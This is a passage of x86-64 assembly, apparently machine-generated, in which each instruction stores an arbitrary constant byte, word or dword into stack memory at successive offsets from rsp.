mov byte [rsp + 0x4b3], 0x7b
mov eax, 0xffc
mov word [rsp + 0x217c], ax
mov dword [rsp + 0x7da0], 0x1bfa9035
mov dword [rsp + 0x7da4], 0xee9c
mov byte [rsp + 0x4b4], 0x96
mov eax, 0x50a
mov word [rsp + 0x2180], ax
mov byte [rsp + 0x4b5], 0x20
mov eax, 0x4fb
mov word [rsp + 0x2184], ax
mov eax, 0x786
mov word [rsp + 0x2188], ax
mov dword [rsp + 0x7da8], 0x6228df4e
mov byte [rsp + 0x4b6], 0x12
mov dword [rsp + 0x7dac], 0x4a2c
mov dword [rsp + 0x7db0], 0xe98f
mov dword [rsp + 0x7db4], 0xcaed
mov dword [rsp + 0x7db8], 0x4d1ca470
mov eax, 0x5d9
mov word [rsp + 0x218c], ax
mov eax, 0xa04
mov word [rsp + 0x2190], ax
mov dword [rsp + 0x7dbc], 0x7c74ed00
mov dword [rsp + 0x7dc0], 0xd690
mov dword [rsp + 0x7dc4], 0xeb58
mov byte [rsp + 0x4b7], 0x3f
mov byte [rsp + 0x4b8], 0x86
mov dword [rsp + 0x7dc8], 0x4b1e65b1
mov dword [rsp + 0x7dcc], 0x5f662dc3
mov byte [rsp + 0x4b9], 0xa0
mov byte [rsp + 0x4ba], 0x96
mov dword [rsp + 0x7dd0], 0x9412
mov dword [rsp + 0x7dd4], 0x4fab
mov dword [rsp + 0x7dd8], 0x576f1328
mov byte [rsp + 0x4bb], 8
mov dword [rsp + 0x7ddc], 0x71f5aa19
mov dword [rsp + 0x7de0], 0x5d7eb82d
mov dword [rsp + 0x7de4], 0x6f32
mov dword [rsp + 0x7de8], 0x5b1921b1
mov byte [rsp + 0x4bc], 0x6c
mov byte [rsp + 0x4bd], 0xf0
mov eax, 0x704
mov word [rsp + 0x2194], ax
mov dword [rsp + 0x7dec], 0x4569f04
mov byte [rsp + 0x4be], 0x27
mov dword [rsp + 0x7df0], 0x7a727bf1
mov byte [rsp + 0x4bf], 0x5b
mov dword [rsp + 0x7df4], 0x5d2b03f6
mov byte [rsp + 0x4c0], 0x86
mov dword [rsp + 0x7df8], 0x727409b4
mov dword [rsp + 0x7dfc], 0x43e1daa4
mov dword [rsp + 0x7e00], 0xc37b
mov dword [rsp + 0x7e04], 0x6218a96d
mov byte [rsp + 0x4c1], 0x70
mov eax, 0xd1e
mov word [rsp + 0x2198], ax
mov dword [rsp + 0x7e08], 0x6d4637c7
mov dword [rsp + 0x7e0c], 0xabc4
mov eax, 0x38e
mov word [rsp + 0x219c], ax
mov dword [rsp + 0x7e10], 0x2518a1af
mov dword [rsp + 0x7e14], 0xa3f4
mov dword [rsp + 0x7e18], 0x358e
mov dword [rsp + 0x7e1c], 0x2fb83601
mov dword [rsp + 0x7e20], 0x243518
mov dword [rsp + 0x7e24], 0x40f1aa1a
mov dword [rsp + 0x7e28], 0x48c766d0
mov dword [rsp + 0x7e2c], 0x79bae56f
mov dword [rsp + 0x7e30], 0x536a119c
mov dword [rsp + 0x7e34], 0x79a558b
mov dword [rsp + 0x7e38], 0x6ec236b4
mov dword [rsp + 0x7e3c], 0xd3f
mov dword [rsp + 0x7e40], 0x249f95c5
mov dword [rsp + 0x7e44], 0xc198
mov eax, 0x824
mov word [rsp + 0x21a0], ax
mov dword [rsp + 0x7e48], 0x76dfef50
mov dword [rsp + 0x7e4c], 0x969738
mov byte [rsp + 0x4c2], 0xe1
mov eax, 0x503
mov word [rsp + 0x21a4], ax
mov eax, 0x95b
mov word [rsp + 0x21a8], ax
mov dword [rsp + 0x7e50], 0x45e3c2b0
mov dword [rsp + 0x7e54], 0x5094355e
mov dword [rsp + 0x7e58], 0x406e6639
mov dword [rsp + 0x7e5c], 0x8786839
mov dword [rsp + 0x7e60], 0x64ce5149
mov dword [rsp + 0x7e64], 0x2f99
mov byte [rsp + 0x4c3], 0x63
mov eax, 0x697
mov word [rsp + 0x21ac], ax
mov byte [rsp + 0x4c4], 0x3e
mov dword [rsp + 0x7e68], 0xf8a5
mov byte [rsp + 0x4c5], 0x1e
mov eax, 0xbb7
mov word [rsp + 0x21b0], ax
mov eax, 0x478
mov word [rsp + 0x21b4], ax
mov byte [rsp + 0x4c6], 0x6d
mov dword [rsp + 0x7e6c], 0xf0f0
mov dword [rsp + 0x7e70], 0xa4aa
mov dword [rsp + 0x7e74], 0x743ee3f4
mov eax, 0x70c
mov word [rsp + 0x21b8], ax
mov dword [rsp + 0x7e78], 0x6dd4
mov eax, 0xcfe
mov word [rsp + 0x21bc], ax
mov eax, 0x273
mov word [rsp + 0x21c0], ax
mov dword [rsp + 0x7e7c], 0xa936
mov eax, 0xb63
mov word [rsp + 0x21c4], ax
mov byte [rsp + 0x4c7], 0x28
mov dword [rsp + 0x7e80], 0x772caf95
mov dword [rsp + 0x7e84], 0x593cf813
mov byte [rsp + 0x4c8], 0xcf
mov dword [rsp + 0x7e88], 0x270064e0
mov eax, 0x2e0
mov word [rsp + 0x21c8], ax
mov byte [rsp + 0x4c9], 0x14
mov byte [rsp + 0x4ca], 0x27
mov eax, 0xd7d
mov word [rsp + 0x21cc], ax
mov eax, 0x1f4
mov word [rsp + 0x21d0], ax
mov dword [rsp + 0x7e8c], 0x7923eaf9
mov eax, 0x553
mov word [rsp + 0x21d4], ax
mov dword [rsp + 0x7e90], 0x4bb18c21
mov byte [rsp + 0x4cb], 0x7c
mov dword [rsp + 0x7e94], 0xd9e6
mov eax, 0x778
mov word [rsp + 0x21d8], ax
mov dword [rsp + 0x7e98], 0x22b3315f
mov eax, 0x33b
mov word [rsp + 0x21dc], ax
mov dword [rsp + 0x7e9c], 0x8691
mov dword [rsp + 0x7ea0], 0xa21f
mov eax, 0xac
mov word [rsp + 0x21e0], ax
mov dword [rsp + 0x7ea4], 0x2e5e
mov dword [rsp + 0x7ea8], 0x265a
mov eax, 0x2ee
mov word [rsp + 0x21e4], ax
mov dword [rsp + 0x7eac], 0x69423a5d
mov dword [rsp + 0x7eb0], 0x4145f38
mov byte [rsp + 0x4cc], 0x3a
mov dword [rsp + 0x7eb4], 0xda24
mov dword [rsp + 0x7eb8], 0x5adf0848
mov dword [rsp + 0x7ebc], 0x4f91
mov dword [rsp + 0x7ec0], 0x2178c123
mov dword [rsp + 0x7ec4], 0x3721afab
mov dword [rsp + 0x7ec8], 0xf2d4
mov dword [rsp + 0x7ecc], 0x77f9d07d
mov dword [rsp + 0x7ed0], 0x63a55fbc
mov dword [rsp + 0x7ed4], 0x2750c7e9
mov eax, 0xc6a
mov word [rsp + 0x21e8], ax
mov eax, 0x5b9
mov word [rsp + 0x21ec], ax
mov dword [rsp + 0x7ed8], 0x48cb4229
mov dword [rsp + 0x7edc], 0xf2e1
mov dword [rsp + 0x7ee0], 0x825
mov eax, 0xde6
mov word [rsp + 0x21f0], ax
mov dword [rsp + 0x7ee4], 0x33b1b69d
mov eax, 0x418
mov word [rsp + 0x21f4], ax
mov byte [rsp + 0x4cd], 0x4c
mov byte [rsp + 0x4ce], 0x11
mov byte [rsp + 0x4cf], 0xd8
mov byte [rsp + 0x4d0], 0xf
mov eax, 0xb56
mov word [rsp + 0x21f8], ax
mov byte [rsp + 0x4d1], 0x73
mov eax, 0x308
mov word [rsp + 0x21fc], ax
mov eax, 0xf76
mov word [rsp + 0x2200], ax
mov dword [rsp + 0x7ee8], 0x5ff3
mov dword [rsp + 0x7eec], 0x711c
mov dword [rsp + 0x7ef0], 0x121037c2
mov byte [rsp + 0x4d2], 0x6a
mov eax, 0x77f
mov word [rsp + 0x2204], ax
mov dword [rsp + 0x7ef4], 0x552f6c49
mov byte [rsp + 0x4d3], 0x14
mov dword [rsp + 0x7ef8], 0x1ffb
mov dword [rsp + 0x7efc], 0x7e22
mov dword [rsp + 0x7f00], 0x241ff664
mov byte [rsp + 0x4d4], 0xe2
mov dword [rsp + 0x7f04], 0x7aa1
mov dword [rsp + 0x7f08], 0x44cce7e5
mov byte [rsp + 0x4d5], 0xa6
mov dword [rsp + 0x7f0c], 0x16fb
mov dword [rsp + 0x7f10], 0x5c9539fe
mov dword [rsp + 0x7f14], 0x1130024c
mov dword [rsp + 0x7f18], 0x75efbced
mov dword [rsp + 0x7f1c], 0x7fe
mov byte [rsp + 0x4d6], 0x4f
mov dword [rsp + 0x7f20], 0x32f63c60
mov dword [rsp + 0x7f24], 0x67e33b8a
mov eax, 0xd72
mov word [rsp + 0x2208], ax
mov eax, 0x385
mov word [rsp + 0x220c], ax
mov byte [rsp + 0x4d7], 0x3b
mov dword [rsp + 0x7f28], 0x268e
mov dword [rsp + 0x7f2c], 0x6f60
mov byte [rsp + 0x4d8], 0xa5
mov dword [rsp + 0x7f30], 0xad26
mov eax, 0xe9d
mov word [rsp + 0x2210], ax
mov dword [rsp + 0x7f34], 0xc2ab
mov eax, 0x25
mov word [rsp + 0x2214], ax
mov dword [rsp + 0x7f38], 0x6897b9
mov dword [rsp + 0x7f3c], 0x7e0f62a8
mov dword [rsp + 0x7f40], 0x768c5315
mov eax, 0x8c5
mov word [rsp + 0x2218], ax
mov eax, 0xc03
mov word [rsp + 0x221c], ax
mov byte [rsp + 0x4d9], 0x1f
mov dword [rsp + 0x7f44], 0x9313
mov byte [rsp + 0x4da], 0x7c
mov byte [rsp + 0x4db], 0x50
mov dword [rsp + 0x7f48], 0xb1e0
mov dword [rsp + 0x7f4c], 0x1676246d
mov dword [rsp + 0x7f50], 0x49b06652
mov dword [rsp + 0x7f54], 0x6c0ae380
mov eax, 0x67d
mov word [rsp + 0x2220], ax
mov dword [rsp + 0x7f58], 0x7f2aed2b
mov dword [rsp + 0x7f5c], 0x74b97d2a
mov dword [rsp + 0x7f60], 0xcc04
mov byte [rsp + 0x4dc], 1
mov eax, 0x24
mov word [rsp + 0x2224], ax
mov eax, 0x487
mov word [rsp + 0x2228], ax
mov dword [rsp + 0x7f64], 0x10f1c6be
mov eax, 0xeba
mov word [rsp + 0x222c], ax
mov byte [rsp + 0x4dd], 0x42
mov dword [rsp + 0x7f68], 0x3fc
mov dword [rsp + 0x7f6c], 0x575e7dd3
mov dword [rsp + 0x7f70], 0x92ad
mov dword [rsp + 0x7f74], 0x2f7218bd
mov dword [rsp + 0x7f78], 0xa37a
mov dword [rsp + 0x7f7c], 0xae0a
mov dword [rsp + 0x7f80], 0x248c
mov dword [rsp + 0x7f84], 0x61a80d35
mov dword [rsp + 0x7f88], 0x44d7bc93
mov byte [rsp + 0x4de], 3
mov eax, 0x85e
mov word [rsp + 0x2230], ax
mov dword [rsp + 0x7f8c], 0xe84f
mov dword [rsp + 0x7f90], 0x5fb4a7f1
mov eax, 0x6eb
mov word [rsp + 0x2234], ax
mov dword [rsp + 0x7f94], 0x532a0c17
mov byte [rsp + 0x4df], 0x9d
mov eax, 0x8bd
mov word [rsp + 0x2238], ax
mov dword [rsp + 0x7f98], 0x6d77
mov dword [rsp + 0x7f9c], 0xa7be
mov dword [rsp + 0x7fa0], 0x333346a1
mov dword [rsp + 0x7fa4], 0x19b449d1
mov dword [rsp + 0x7fa8], 0x14ecbc06
mov eax, 0xbb7
mov word [rsp + 0x223c], ax
mov byte [rsp + 0x4e0], 0x7d
mov dword [rsp + 0x7fac], 0x32f8
mov byte [rsp + 0x4e1], 0xa1
mov dword [rsp + 0x7fb0], 0x1de9fb66
mov dword [rsp + 0x7fb4], 0x1c8c
mov eax, 0x218
mov word [rsp + 0x2240], ax
mov byte [rsp + 0x4e2], 0x69
mov byte [rsp + 0x4e3], 0xa2
mov dword [rsp + 0x7fb8], 0xcce3
mov dword [rsp + 0x7fbc], 0xec7e
mov dword [rsp + 0x7fc0], 0x6d0c
mov eax, 0x888
mov word [rsp + 0x2244], ax
mov byte [rsp + 0x4e4], 0x53
mov dword [rsp + 0x7fc4], 0x90bd
mov byte [rsp + 0x4e5], 0x4e
mov eax, 0x4ce
mov word [rsp + 0x2248], ax
mov dword [rsp + 0x7fc8], 0x5c0dc9c5
mov eax, 0x64c
mov word [rsp + 0x224c], ax
mov eax, 0x4d1
mov word [rsp + 0x2250], ax
mov byte [rsp + 0x4e6], 0x84
mov dword [rsp + 0x7fcc], 0x9a5b
mov byte [rsp + 0x4e7], 0xb1
mov dword [rsp + 0x7fd0], 0x368150d1
mov dword [rsp + 0x7fd4], 0x1faaf84f
mov eax, 0xb66
mov word [rsp + 0x2254], ax
mov dword [rsp + 0x7fd8], 0xbb0af18
mov eax, 0x2ba
mov word [rsp + 0x2258], ax
mov dword [rsp + 0x7fdc], 0x922c
mov eax, 0xb
mov word [rsp + 0x225c], ax
mov dword [rsp + 0x7fe0], 0x3d60f2a8
mov dword [rsp + 0x7fe4], 0x2854d2cc
mov dword [rsp + 0x7fe8], 0x1b195971
mov dword [rsp + 0x7fec], 0x42f3b88e
mov dword [rsp + 0x7ff0], 0x178f83c1
mov dword [rsp + 0x7ff4], 0x43873af3
mov dword [rsp + 0x7ff8], 0x1abb54b1
mov dword [rsp + 0x7ffc], 0x29bd
mov dword [rsp + 0x8000], 0x5bc0
mov byte [rsp + 0x4e8], 0x5e
mov byte [rsp + 0x4e9], 0xc
mov byte [rsp + 0x4ea], 0x86
mov dword [rsp + 0x8004], 0x6e4a04f2
mov dword [rsp + 0x8008], 0x3356f416
mov dword [rsp + 0x800c], 0x4c5edde1
mov eax, 0xe46
mov word [rsp + 0x2260], ax
mov dword [rsp + 0x8010], 0xcf40
mov eax, 0x187
mov word [rsp + 0x2264], ax
mov dword [rsp + 0x8014], 0x51c2
mov byte [rsp + 0x4eb], 0xd9
mov eax, 0xfcf
mov word [rsp + 0x2268], ax
mov dword [rsp + 0x8018], 0x76b1bf1f
mov eax, 0x602
mov word [rsp + 0x226c], ax
mov dword [rsp + 0x801c], 0x5920ac35
mov byte [rsp + 0x4ec], 0x85
mov eax, 0x415
mov word [rsp + 0x2270], ax
mov dword [rsp + 0x8020], 0x43b3
mov dword [rsp + 0x8024], 0x35945b33
mov eax, 0x9da
mov word [rsp + 0x2274], ax
mov dword [rsp + 0x8028], 0x4830
mov byte [rsp + 0x4ed], 0x72
mov dword [rsp + 0x802c], 0x8567
mov eax, 0x28c
mov word [rsp + 0x2278], ax
mov dword [rsp + 0x8030], 0x1518fa7e
mov dword [rsp + 0x8034], 0x2c9fdbb7
mov dword [rsp + 0x8038], 0x562537b2
mov dword [rsp + 0x803c], 0x62a97cc
mov eax, 0x988
mov word [rsp + 0x227c], ax
mov dword [rsp + 0x8040], 0x6711d4b8
mov dword [rsp + 0x8044], 0x30f0d36e
mov byte [rsp + 0x4ee], 0xc3
mov dword [rsp + 0x8048], 0x5896b203
mov eax, 0xa7b
mov word [rsp + 0x2280], ax
mov dword [rsp + 0x804c], 0x8f2c
mov dword [rsp + 0x8050], 0x9b58
mov dword [rsp + 0x8054], 0x4437
mov eax, 0x6a4
mov word [rsp + 0x2284], ax
mov dword [rsp + 0x8058], 0x2752b751
mov dword [rsp + 0x805c], 0x4217ee18
mov dword [rsp + 0x8060], 0x72e681c1
mov byte [rsp + 0x4ef], 0x66
mov dword [rsp + 0x8064], 0x55f7
mov byte [rsp + 0x4f0], 0x42
mov eax, 0xaa8
mov word [rsp + 0x2288], ax
mov byte [rsp + 0x4f1], 0x38
mov byte [rsp + 0x4f2], 0x5b
mov eax, 0x73b
mov word [rsp + 0x228c], ax
mov dword [rsp + 0x8068], 0x37e78010
mov byte [rsp + 0x4f3], 0x60
mov byte [rsp + 0x4f4], 3
mov byte [rsp + 0x4f5], 0x68
mov dword [rsp + 0x806c], 0x3796
mov eax, 0x424
mov word [rsp + 0x2290], ax
mov byte [rsp + 0x4f6], 0xc3
mov dword [rsp + 0x8070], 0x4fe1b784
mov dword [rsp + 0x8074], 0x6d2
mov dword [rsp + 0x8078], 0x3ba89dbe
mov eax, 0x3ca
mov word [rsp + 0x2294], ax
mov dword [rsp + 0x807c], 0x42ae603b
mov dword [rsp + 0x8080], 0x6813b7b6
mov dword [rsp + 0x8084], 0x6efe8a35
mov eax, 0x758
mov word [rsp + 0x2298], ax
mov dword [rsp + 0x8088], 0xf39c
mov dword [rsp + 0x808c], 0x214b
mov dword [rsp + 0x8090], 0x6ae3c8d3
mov eax, 0x5c7
mov word [rsp + 0x229c], ax
mov dword [rsp + 0x8094], 0xd963
mov byte [rsp + 0x4f7], 0x79
mov eax, 0x4ad
mov word [rsp + 0x22a0], ax
mov dword [rsp + 0x8098], 0x7c767687
mov byte [rsp + 0x4f8], 0x98
mov dword [rsp + 0x809c], 0x839e
mov dword [rsp + 0x80a0], 0x2f6b
mov eax, 0x23a
mov word [rsp + 0x22a4], ax
mov dword [rsp + 0x80a4], 0x78de
mov dword [rsp + 0x80a8], 0x55e388d
mov eax, 0xa5a
mov word [rsp + 0x22a8], ax
mov dword [rsp + 0x80ac], 0x61e3687e
mov eax, 0x82c
mov word [rsp + 0x22ac], ax
mov dword [rsp + 0x80b0], 0x3b498274
mov dword [rsp + 0x80b4], 0x984c
mov byte [rsp + 0x4f9], 0xf8
mov byte [rsp + 0x4fa], 0x19
mov dword [rsp + 0x80b8], 0x2caced45
mov dword [rsp + 0x80bc], 0x60c2
mov eax, 0x1c2
mov word [rsp + 0x22b0], ax
mov eax, 0x587
mov word [rsp + 0x22b4], ax
mov dword [rsp + 0x80c0], 0x64aec67b
mov dword [rsp + 0x80c4], 0xbbb571b
mov eax, 0x414
mov word [rsp + 0x22b8], ax
mov byte [rsp + 0x4fb], 0x51
mov dword [rsp + 0x80c8], 0x655ce549
mov eax, 0xf53
mov word [rsp + 0x22bc], ax
mov dword [rsp + 0x80cc], 0x37f32be5
mov dword [rsp + 0x80d0], 0x178aad40
mov dword [rsp + 0x80d4], 0x1a8edfba
mov byte [rsp + 0x4fc], 0xd
mov dword [rsp + 0x80d8], 0xd1b5
mov dword [rsp + 0x80dc], 0xc2c7
mov dword [rsp + 0x80e0], 0x7c3d19c3
mov dword [rsp + 0x80e4], 0x2b07b7c5
mov dword [rsp + 0x80e8], 0xa8bb
mov dword [rsp + 0x80ec], 0x5481c709
mov byte [rsp + 0x4fd], 0x9d
mov byte [rsp + 0x4fe], 0x62
mov dword [rsp + 0x80f0], 0x2bdf5569
mov dword [rsp + 0x80f4], 0x397f6d73
mov byte [rsp + 0x4ff], 0xdc
mov eax, 0x5e9
mov word [rsp + 0x22c0], ax
mov dword [rsp + 0x80f8], 0xa6
mov dword [rsp + 0x80fc], 0xfd60994
mov byte [rsp + 0x500], 0x38
mov byte [rsp + 0x501], 0x73
mov byte [rsp + 0x502], 0x2b
mov dword [rsp + 0x8100], 0x57c27166
mov byte [rsp + 0x503], 0xea
mov eax, 0x751
mov word [rsp + 0x22c4], ax
mov dword [rsp + 0x8104], 0x1f092f06
mov eax, 0x814
mov word [rsp + 0x22c8], ax
mov dword [rsp + 0x8108], 0xcce
mov dword [rsp + 0x810c], 0x2d852f15
mov dword [rsp + 0x8110], 0x3d41b609
mov byte [rsp + 0x504], 0x1b
mov dword [rsp + 0x8114], 0x1d2c0a2e
mov dword [rsp + 0x8118], 0x912b
mov dword [rsp + 0x811c], 0x26ac3a0f
mov byte [rsp + 0x505], 0xae
mov byte [rsp + 0x506], 0x27
mov byte [rsp + 0x507], 0xee
mov byte [rsp + 0x508], 0xa
mov eax, 0x636
mov word [rsp + 0x22cc], ax
mov eax, 0x985
mov word [rsp + 0x22d0], ax
mov dword [rsp + 0x8120], 0x1dafe98a
mov byte [rsp + 0x509], 0xb
mov byte [rsp + 0x50a], 0xf
mov dword [rsp + 0x8124], 0x7d426621
mov dword [rsp + 0x8128], 0x4220fc76
mov byte [rsp + 0x50b], 0x11
mov dword [rsp + 0x812c], 0x4d30d710
mov dword [rsp + 0x8130], 0x691f1f9a
mov byte [rsp + 0x50c], 0xfa
mov eax, 0xe74
mov word [rsp + 0x22d4], ax
mov eax, 0x3e6
mov word [rsp + 0x22d8], ax
mov dword [rsp + 0x8134], 0x303f7004
mov eax, 0x41
mov word [rsp + 0x22dc], ax
mov eax, 0x155
mov word [rsp + 0x22e0], ax
mov eax, 0x1fc
mov word [rsp + 0x22e4], ax
mov dword [rsp + 0x8138], 0x57ae6821
mov eax, 0x39c
mov word [rsp + 0x22e8], ax
mov dword [rsp + 0x813c], 0x7c617a00
mov byte [rsp + 0x50d], 0x24
mov eax, 0xc55
mov word [rsp + 0x22ec], ax
mov eax, 0xea0
mov word [rsp + 0x22f0], ax
mov byte [rsp + 0x50e], 0x30
mov dword [rsp + 0x8140], 0x2ac8
mov eax, 0x407
mov word [rsp + 0x22f4], ax
mov dword [rsp + 0x8144], 0x475e6a0f
mov dword [rsp + 0x8148], 0xef67
mov dword [rsp + 0x814c], 0xb69f
mov eax, 0x738
mov word [rsp + 0x22f8], ax
mov dword [rsp + 0x8150], 0xaf99
mov dword [rsp + 0x8154], 0x8d02
mov dword [rsp + 0x8158], 0x3c05
mov dword [rsp + 0x815c], 0xfe4c21f
mov byte [rsp + 0x50f], 0x19
mov eax, 0xe96
mov word [rsp + 0x22fc], ax
mov dword [rsp + 0x8160], 0x3d5428e3
mov dword [rsp + 0x8164], 0x8bc9
mov dword [rsp + 0x8168], 0x2e5e8649
mov byte [rsp + 0x510], 0x64
mov dword [rsp + 0x816c], 0x29588f2a
mov dword [rsp + 0x8170], 0x5c8d7930
mov dword [rsp + 0x8174], 0x79d63a48
mov dword [rsp + 0x8178], 0x8cf8
mov byte [rsp + 0x511], 0xc3
mov dword [rsp + 0x817c], 0x2928dd94
mov dword [rsp + 0x8180], 0x4f48
mov dword [rsp + 0x8184], 0xb8ef10a
mov dword [rsp + 0x8188], 0x66b3
mov dword [rsp + 0x818c], 0x218beade
mov byte [rsp + 0x512], 0x25
mov dword [rsp + 0x8190], 0x67d1
mov byte [rsp + 0x513], 0x7d
mov dword [rsp + 0x8194], 0x392bfd5e
mov eax, 0x4aa
mov word [rsp + 0x2300], ax
mov dword [rsp + 0x8198], 0x902
mov eax, 0x4af
mov word [rsp + 0x2304], ax
mov dword [rsp + 0x819c], 0x77008494
mov eax, 0xe89
mov word [rsp + 0x2308], ax
mov dword [rsp + 0x81a0], 0x1d628d00
mov eax, 0xa10
mov word [rsp + 0x230c], ax
mov byte [rsp + 0x514], 0xf7
mov byte [rsp + 0x515], 0x16
mov byte [rsp + 0x516], 0x5f
mov dword [rsp + 0x81a4], 0x44403d07
mov dword [rsp + 0x81a8], 0x5c972de6
mov dword [rsp + 0x81ac], 0x73fe33cd
mov byte [rsp + 0x517], 0xed
mov dword [rsp + 0x81b0], 0xf721
mov dword [rsp + 0x81b4], 0x4ebda2d8
mov byte [rsp + 0x518], 0x3a
mov dword [rsp + 0x81b8], 0x3cf38cdf
mov byte [rsp + 0x519], 0x75
mov byte [rsp + 0x51a], 0x67
mov dword [rsp + 0x81bc], 0x3356327d
mov dword [rsp + 0x81c0], 0x601b1775
mov eax, 0x2e3
mov word [rsp + 0x2310], ax
mov dword [rsp + 0x81c4], 0x4786
mov dword [rsp + 0x81c8], 0x2f3ee09e
mov dword [rsp + 0x81cc], 0x19f1607d
mov dword [rsp + 0x81d0], 0x33d2679a
mov dword [rsp + 0x81d4], 0xb7ef
mov dword [rsp + 0x81d8], 0x5409
mov dword [rsp + 0x81dc], 0x5a3a5374
mov dword [rsp + 0x81e0], 0x521121e3
mov eax, 0x74f
mov word [rsp + 0x2314], ax
mov byte [rsp + 0x51b], 0x91
mov dword [rsp + 0x81e4], 0x943f
mov dword [rsp + 0x81e8], 0x4ec0
mov dword [rsp + 0x81ec], 0xbfcf
mov dword [rsp + 0x81f0], 0x27a2
mov dword [rsp + 0x81f4], 0x3fee3bf2
mov dword [rsp + 0x81f8], 0x69ce3a83
mov byte [rsp + 0x51c], 0x24
mov eax, 0x70e
mov word [rsp + 0x2318], ax
mov dword [rsp + 0x81fc], 0x69ea
mov dword [rsp + 0x8200], 0x2c32209
mov eax, 0x165
mov word [rsp + 0x231c], ax
mov byte [rsp + 0x51d], 0xbd
mov eax, 0x926
mov word [rsp + 0x2320], ax
mov eax, 0x237
mov word [rsp + 0x2324], ax
mov dword [rsp + 0x8204], 0x9323b0
mov dword [rsp + 0x8208], 0x9c86
mov dword [rsp + 0x820c], 0xed52
mov dword [rsp + 0x8210], 0x4642d411
mov byte [rsp + 0x51e], 0x52
mov dword [rsp + 0x8214], 0x1490
mov dword [rsp + 0x8218], 0x420d884
mov dword [rsp + 0x821c], 0x492f991c
mov byte [rsp + 0x51f], 0x29
mov dword [rsp + 0x8220], 0x2527346a
mov dword [rsp + 0x8224], 0xb27c
mov eax, 0x717
mov word [rsp + 0x2328], ax
mov dword [rsp + 0x8228], 0x2128
mov byte [rsp + 0x520], 0x7c
mov dword [rsp + 0x822c], 0x148dcff3
mov dword [rsp + 0x8230], 0x2d9a5594
mov dword [rsp + 0x8234], 0x4139694f
mov eax, 0x7eb
mov word [rsp + 0x232c], ax
mov eax, 0x238
mov word [rsp + 0x2330], ax
mov dword [rsp + 0x8238], 0x13cc38a7
mov dword [rsp + 0x823c], 0x1695b2b3
mov eax, 0xaa4
mov word [rsp + 0x2334], ax
mov dword [rsp + 0x8240], 0x5ac9fa60
mov dword [rsp + 0x8244], 0x75376e06
mov dword [rsp + 0x8248], 0x4ea355f5
mov eax, 0xb54
mov word [rsp + 0x2338], ax
mov dword [rsp + 0x824c], 0xb038
mov byte [rsp + 0x521], 0x2f
mov byte [rsp + 0x522], 0xc
mov byte [rsp + 0x523], 0xf
mov dword [rsp + 0x8250], 0x3274
mov dword [rsp + 0x8254], 0x2a2a1caa
mov dword [rsp + 0x8258], 0x56a5ab4a
mov eax, 0xf89
mov word [rsp + 0x233c], ax
mov dword [rsp + 0x825c], 0x248baa29
mov byte [rsp + 0x524], 0xc2
mov dword [rsp + 0x8260], 0x63e6d70c
mov dword [rsp + 0x8264], 0x612f9e06
mov dword [rsp + 0x8268], 0x797c
mov byte [rsp + 0x525], 0x83
mov eax, 0x1f5
mov word [rsp + 0x2340], ax
mov dword [rsp + 0x826c], 0xff32e8
mov eax, 0x35a
mov word [rsp + 0x2344], ax
mov dword [rsp + 0x8270], 0xc0a4
mov eax, 0x79e
mov word [rsp + 0x2348], ax
mov eax, 0x59b
mov word [rsp + 0x234c], ax
mov dword [rsp + 0x8274], 0x86c9
mov dword [rsp + 0x8278], 0x6257
mov eax, 0xd60
mov word [rsp + 0x2350], ax
mov dword [rsp + 0x827c], 0x7b711e43
mov dword [rsp + 0x8280], 0x27a68860
mov eax, 0x733
mov word [rsp + 0x2354], ax
mov dword [rsp + 0x8284], 0xbded
mov dword [rsp + 0x8288], 0x1b7d93b5
mov dword [rsp + 0x828c], 0x51f2eabb
mov byte [rsp + 0x526], 0x49
mov dword [rsp + 0x8290], 0xebf1
mov dword [rsp + 0x8294], 0x63dc2e64
mov eax, 0x11
mov word [rsp + 0x2358], ax
mov byte [rsp + 0x527], 0xf8
mov dword [rsp + 0x8298], 0x8ecb
mov byte [rsp + 0x528], 0xe
mov eax, 0xa55
mov word [rsp + 0x235c], ax
mov dword [rsp + 0x829c], 0x454446fa
mov eax, 0xbe1
mov word [rsp + 0x2360], ax
mov eax, 0x554
mov word [rsp + 0x2364], ax
mov byte [rsp + 0x529], 0x47
mov dword [rsp + 0x82a0], 0x3f748486
mov dword [rsp + 0x82a4], 0x5d7f800b
mov dword [rsp + 0x82a8], 0x711aa3e7
mov dword [rsp + 0x82ac], 0x7740
mov byte [rsp + 0x52a], 0x16
mov eax, 0xe01
mov word [rsp + 0x2368], ax
mov dword [rsp + 0x82b0], 0x757b8173
mov eax, 0x1ee
mov word [rsp + 0x236c], ax
mov byte [rsp + 0x52b], 0xbd
mov byte [rsp + 0x52c], 0x43
mov dword [rsp + 0x82b4], 0x11eecae9
mov dword [rsp + 0x82b8], 0x77124101
mov dword [rsp + 0x82bc], 0x277ccf82
mov dword [rsp + 0x82c0], 0x114ee097
mov dword [rsp + 0x82c4], 0x4a61ec6d
mov byte [rsp + 0x52d], 0x10
mov byte [rsp + 0x52e], 0x69
mov dword [rsp + 0x82c8], 0x327a
mov eax, 0x11d
mov word [rsp + 0x2370], ax
mov dword [rsp + 0x82cc], 0x11df929a
mov dword [rsp + 0x82d0], 0x6f2c4b8d
mov dword [rsp + 0x82d4], 0x38f1a722
mov dword [rsp + 0x82d8], 0x3c32522d
mov dword [rsp + 0x82dc], 0xbace540
mov dword [rsp + 0x82e0], 0x6ac56a4a
mov dword [rsp + 0x82e4], 0x74a05732
mov byte [rsp + 0x52f], 0xeb
mov byte [rsp + 0x530], 0xb4
mov eax, 0x2f
mov word [rsp + 0x2374], ax
mov dword [rsp + 0x82e8], 0x79ea5bc7
mov dword [rsp + 0x82ec], 0x52c1623b
mov dword [rsp + 0x82f0], 0xed82
mov dword [rsp + 0x82f4], 0x5228b865
mov dword [rsp + 0x82f8], 0x78fb
mov dword [rsp + 0x82fc], 0x6c110242
mov dword [rsp + 0x8300], 0x1e96bb4c
mov dword [rsp + 0x8304], 0xdb51
mov dword [rsp + 0x8308], 0xd7cb030
mov dword [rsp + 0x830c], 0xdfe7
mov byte [rsp + 0x531], 0x23
mov eax, 0x3e5
mov word [rsp + 0x2378], ax
mov dword [rsp + 0x8310], 0x6ff5
mov dword [rsp + 0x8314], 0x73fe2c4c
mov byte [rsp + 0x532], 0x1a
mov dword [rsp + 0x8318], 0x439
mov dword [rsp + 0x831c], 0x9e1e
mov dword [rsp + 0x8320], 0x54e13a52
mov dword [rsp + 0x8324], 0x666c9d74
mov dword [rsp + 0x8328], 0x2629fa0c
mov dword [rsp + 0x832c], 0xaa2f
mov dword [rsp + 0x8330], 0x7860d4a9
mov dword [rsp + 0x8334], 0xd8e7
mov eax, 0x8d5
mov word [rsp + 0x237c], ax
mov dword [rsp + 0x8338], 0x1f747093
